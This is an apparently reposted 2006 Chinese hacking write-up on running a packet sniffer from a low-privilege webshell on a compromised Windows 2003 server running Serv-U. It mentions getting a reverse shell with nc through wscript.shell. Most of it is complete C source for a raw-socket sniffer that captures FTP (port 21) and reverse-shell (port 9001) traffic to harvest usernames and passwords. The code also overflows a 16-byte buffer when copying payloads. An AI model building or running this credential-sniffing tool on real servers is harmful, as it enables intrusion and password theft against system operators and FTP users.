注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 网络安全 > 安全防范 > 网络技术 > 内容正文

基于Webshell的sniffer可行性研究

发布时间:2006-10-16 14:24:22 来源:友佳学院 网友评论 0 条

点击进入《友佳学院》ARP攻击与防范专区(www.jztop.com)

前言:

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:

Windows2003服务器+海洋2006+serv-u5.2

服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:

1.利用wcript.shell执行nc 反弹得到shell



2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

/*------------------------------------------------------

*file: SnifferFtp.c

*Effect: 用于在webshell进行嗅探实验之用,基于Raw

*Code: Huai_Huai

*Page: Http://hhuai.cn

*Date: 2006.1.12

*-----------------------------------------------------*/

#include

#include

#include "Winsock2.h"

#pragma comment(lib,"WS2_32.lib")

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

#define STATUS_FAILED 0xFFFF

#define MAX_PACK_LEN 65535

#define MAX_ADDR_LEN 16

#define MAX_HOSTNAME_LEN 255

//定义ip报头

typedef struct _iphdr

{

byte ver_len; //版本4位,头长度4位,报头长度以32位为一个单位

byte type; //类型8位

byte length[2]; //总长度,16位,指出报文的以字节为单位的总长度

//报文长度不能超过65536个字接,否则认为报文遭到破坏

byte id[2]; //报文标示,用于多于一个报文16位

byte flag_offset[2];//标志,3位 数据块偏移13位

byte time; //生存时间,8位

byte protocol; //协议,8位

byte crc_val[2]; //头校验和,16位

byte src_addr[4]; //源地址,32位

byte tar_addr[4]; //目标地址,32位

byte options[4]; //选项和填充,32位

}IP_HEADER;

typedef struct _tcphdr

{

byte source_port[2]; //发送端端口号,16位

byte dest_port[2]; //接收端端口号,16位

byte sequence_no[4]; //32位,标示消息端的数据位于全体数据块的某一字节的数字

byte ack_no[4]; //32位,确认号,标示接收端对于发送端接收到数据块数值

unsigned char offset_reser_con;//数据偏移4位,预留6位,控制位6为

unsigned char th_flag;

byte window[2]; //窗口16位

byte checksum[2]; //校验码,16位

byte urgen_pointer[2]; //16位,紧急数据指针

byte options[3]; //选祥和填充,32位

}TCP_HEADER;

#define PROTOCOL_ICMP 1 //传输控制协议

#define PROTOCOL_GTG 3 //Gateway-to-Gateway

#define PROTOCOL_CGMM 4 //CMCC Gateway Monitoring Message

#define PROTOCOL_ST 5 //ST

#define PROTOCOL_TCP 6 //传输控制协议

#define PROTOCOL_UCL 7 //UCL

#define PROTOCOL_SECURE 9 //secure

#define PROTOCOL_BRM 10 //BBN RCC Monitoring

#define PROTOCOL_NVP 11 //NVp

#define PROTOCOL_PUP 12 //PUP

#define PROTOCOL_PLURIBUS 13 //Pluribus

#define PROTOCOL_TELENET 14 //Telenet

#define PROTOCOL_XNET 15 //XNET

#define PROTOCOL_CHAOS 16 //Chaos

#define PROTOCOL_UDP 17 //UDP

#define PROTOCOL_MULTIPLEXING 18 //Multiplexing

#define PROTOCOL_DCN 19 //DCN

#define PROTOCOL_TAC_MONITORING 20 //TAC Monitoring

#define PROTOCOL_ALN 63 //any local network

#define PROTOCOL_SATNET 64 //SATNET and Backroom EXPAK

#define PROTOCOL_MITSS 65 //MIT Subnet Support

#define PROTOCOL_SATNET_MONIT 69 //SATNET Monitoring

#define PROTOCOL_IPCU 71 //Internet Packet Core Utility

#define PROTOCOL_BK_SATNET_MONI 76 //Backroom SATNET Monitoring

#define PROTOCOL_WIDEBAND_MONI 78 //WIDEBAND Monitoring

#define PROTOCOL_WIDEBAND_EXPAK 79 //WIDEBAND EXPAK

SOCKET SocketRaw;

void startsniffer()

{

char RecvBuf[MAX_PACK_LEN]={0};

char FAR name[MAX_HOSTNAME_LEN];

WSADATA wsa;

struct hostent FAR* pHostent;

SOCKADDR_IN sa;

DWORD OutBuffer[10];

DWORD InBuffer=1;

DWORD BytesReturned=0;



if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

{

printf("不能加载Winsock DLL!");

exit(0);

}

SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

if(SocketRaw==INVALID_SOCKET)

{

printf("不能创建Socket!");

exit(0);

}





gethostname(name,MAX_HOSTNAME_LEN);



//这里会自动分配内存

pHostent=gethostbyname(name);



sa.sin_family=AF_INET;

sa.sin_port=htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],

pHostent->h_length);

if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

{

printf("不能绑定网卡!");

closesocket(SocketRaw);

exit(0);

}







if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

{

printf("不能创建WSAIoctl!");

closesocket(SocketRaw);

exit(0);

}



}

int ReceiveBuf(byte* buf,int len)

{

return recv(SocketRaw,(char *)buf,len,0);

}

void main()

{

int len;

byte RecvBuf[65535];

char buf[16];

int iphdr_len;

TCP_HEADER* pTcpHeader;

unsigned __int16 src_port;

unsigned __int16 dest_port;

int HdrLen;

__int16 datalen;

IP_HEADER* pIpheader;

int port1,port2;



startsniffer();

while(TRUE)

{

port1=port2=0;

memset(RecvBuf,0,65535);

len=ReceiveBuf(RecvBuf,65535);

if(len>0)

{



pIpheader=(IP_HEADER*)RecvBuf;

/*

switch(pIpheader->protocol)

{

case PROTOCOL_ICMP:

printf("ICMP");

break;

case PROTOCOL_TCP:

printf("TCP");

break;

case PROTOCOL_UDP:

printf("UDP");

break;

default:

printf("其他协议");

break;

}

*/







if(pIpheader->protocol==PROTOCOL_TCP)

{

iphdr_len=(pIpheader->ver_len&0xf)*4;

pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

src_port=pTcpHeader->source_port[0]

*0x100+pTcpHeader->source_port[1];

dest_port=pTcpHeader->dest_port[0]

*0x100+pTcpHeader->dest_port[1];



memset(buf,0,16);

sprintf(buf,"%d",src_port);

port1=src_port;

//printf("%s ",buf);



memset(buf,0,16);

sprintf(buf,"%d",dest_port);

port2=dest_port;

//printf("%s ",buf);



if(port1==21 || port2==21 || port1==9001 || port2==9001)

{

HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

//printf("%s ",buf);



memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],

pIpheader->src_addr[1],pIpheader->src_addr[2],

pIpheader->src_addr[3]);

//printf("%s ",buf);



memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],

pIpheader->tar_addr[1],pIpheader->tar_addr[2],

pIpheader->tar_addr[3]);

//printf("%s ",buf);



datalen=pIpheader->length[0]

*0x100+pIpheader->length[1];

memset(buf,0,16);

sprintf(buf,"%d",datalen);

//printf("%s ",buf);



HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

printf("%s",buf);

//printf("n");

}

}

}



}

}



3.嗅探结果:



4.实验小结:

确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.

5.作者联系方式:

MSN: xiaoaina@hotmail.com

Blog: http://hhuai.cn

关于 基于We 的新闻
  • 用ASP和SQL实现基于Web的事件日历
  • 据称百度将整合基于WEB的IM即时通讯
  • 基于WebSphere MQ的收发消息程序
  • C#+ASP.NET开发基于Web的RSS阅读器
  • C#+ASP.NET开发基于Web的RSS阅读器
【评论】【收藏本文】【打印】【关闭】
上一篇文章:1+1大于2 工具软件在网吧维护中的综合应用
下一篇文章:防ARP攻击教程
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
驱除危害:如何有效防范看不见的网页病毒
驱除危害:如何有效防范看不见的网页病毒
防止别人用ipc$和默认共享入侵
防止别人用ipc$和默认共享入侵
防范非法用户的侵入
防范非法用户的侵入
将拒绝进行到底 阻击垃圾邮件全攻略
将拒绝进行到底 阻击垃圾邮件全攻略
全站资源
  • 微软官方入门教程19:轻松掌握Vista系统的快
  • 微软2008大冲击,预借Vista SP1力促Vista市
  • 在收件箱中获得 Windows Vista 的最新更新
  • 微软官方Vista入门教程全集19篇(Vista学院
  • Windows Vista 的成功将势不可挡
  • 快快抛弃Vista,拥抱XP SP3!你觉得呢?
  • 浅谈Vista系统关闭虚拟内存与使用内存盘加速
  • 嘿嘿,按下键盘上面的三个键,马上让你的Vi
  • Windows Vista的盗版率只有Windows XP的一半
  • 3DMark和PCMark Vantage新版将只支持Vista系
阅读排行
  • 防ARP攻击教程
  • 经验分享:网吧频繁掉线(ARP)与解决方法
  • 加强安全防范 精通批处理完整教程
  • 局域网攻、防工具详解
  • 流氓网站招招看 详细剖析恶意弹出窗口
  • 让黑客无处下手 未知漏洞的预防技巧
  • 保护系统“核心” 锁住“危险”设置
  • 网吧频繁掉线(ARP)与快速解决方法
  • 金钟罩护身 个人电脑安全二十招秘技
  • 最佳的75个安全工具
最新技术文档
  • 危害网络安全的群发邮件蠕虫病毒
  • 最容易被黑客盯上的注册表位置
  • 如何准确检测出你电脑上的间谍软件
  • 防ARP攻击教程
  • 基于Webshell的sniffer可行性研究
  • 1+1大于2 工具软件在网吧维护中的综合应用
  • 网络负载均衡技术概况
  • 最佳的75个安全工具
  • 安全技术详解 跳板攻击与防御
  • 局域网内盗用IP的安全问题
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载